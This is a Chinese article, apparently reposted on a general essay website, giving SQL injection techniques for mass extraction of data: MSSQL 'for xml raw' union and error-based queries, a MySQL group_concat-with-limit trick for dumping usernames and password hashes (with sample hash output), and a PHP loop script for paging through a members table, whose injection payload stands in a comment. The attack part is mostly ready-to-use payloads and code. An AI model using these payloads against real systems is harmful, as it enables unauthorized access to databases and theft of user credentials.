首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 英语文章 > 正文

    [SQL注入中获取数据的一些技巧分析]数据注入失败怎么办

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    一、MSSQL获取数据：

    用的比较多的就是for xml raw了，MSSQL2000都支持的！

    注入中显示数据的两个办法均可以使用，一是union select、二是显错，以MSSQL2005为例：

    复制代码代码如下:select username from members where 1=2 union select top 3 username from members for xml raw

    返回（如果username重复，自动去除重复值）：

    复制代码代码如下:

    <row username="admin"/><row username="Anna"/><row username="oldjun"/>

    select username from members where 1=(select top 3 username from members for xml raw)

    返回：

    复制代码代码如下:

    Msg 245, Level 16, State 1, Line 1

    Conversion failed when converting the nvarchar value "<row username="admin"/><row username="Anna"/><row username="oldjun"/>" to data type int.

    当数据量很大，无webshell，有注入点可以利用的时候，for xml raw 是不错的获取批量数据的办法！为了不让返回的数据量过大，top可以限制小一点，比如100，另外要附加脚本或者程序对返回值进行处理。

    二、MYSQL获取数据：

    用的比较多的是group_concat，mysql>=4.1支持该函数，可能很多人知道了，但我看过的文章几乎都是用来读table_name或者column_name的，毕竟表名、列名的数据量不大，所以用起来很方便，可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少，虽然可以提高效率，增快速度。

    因为group_concat有个瓶颈，当group_concat与limit连用时，limit不起作用（也许是先执行group_concat），于是group_concat一次性读出很多条数据（取决于group_concat_max_len，默认1024），而一般网站数据量都是很大的。一旦不能与limit连用，怎么获取之后的数据呢？

    其实简单变动下SQL语句即可以实现group_concat与limit连用：

    复制代码代码如下:

    select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

    返回：

    guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6

    于是简单做下字符串处理，前三条数据就出来了。为了返回不至于数据量过大，单次查询100以下一般可以接受的。

    三、给出部分示例代码（mysql group_concat 50条数据每次）：

    复制代码代码如下:

    <?

    if ($argc < 3) {

    print_r("

    +---------------------------------------------------------------------------+

    Usage: php ".$argv[0]." start end(end: count/50)

    Example:

    php ".$argv[0]." 0 9999

    Author:oldjun(http://www.oldjun.com)

    +---------------------------------------------------------------------------+

    ");

    exit;

    }

    error_reporting(7);

    ini_set("max_execution_time", 0);

    $start = $argv[1];

    $over = $argv[2];

    for($i=$start;$i<=$over;$i++){

    getdata($i);

    }

    function getdata($i)

    {

    $resp = send($i);

    if ($resp){

    preg_match("#<<<<<<<<<<([^n]+):([^n]+)>>>>>>>>>>#", $resp, $value);

    if($value){

    $namearr=explode("|||",$value[1]);

    $passarr=explode("|||",$value[2]);

    for($j=0;$j<50;$j++){

    echo $namearr[$j]."|||".$passarr[$j]."rn";

    }

    unset($namearr);

    unset($passarr);

    }else{

    echo $resp;

    echo "value error,return $irn";

    getdata($i);

    }

    }

    else{

    echo "resp error,return $irn";

    getdata($i);

    }

    }

    function send($i)

    {

    $limit=$i*50;

    //发送数据包代码省略

    //注入语句示例：union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#

    }

    ?>

    • [SQL注入中获取数据的一些技巧分析]数据注入失败怎么办 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文[SQL注入中获取数据的一些技巧分析]数据注入失败怎么办由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.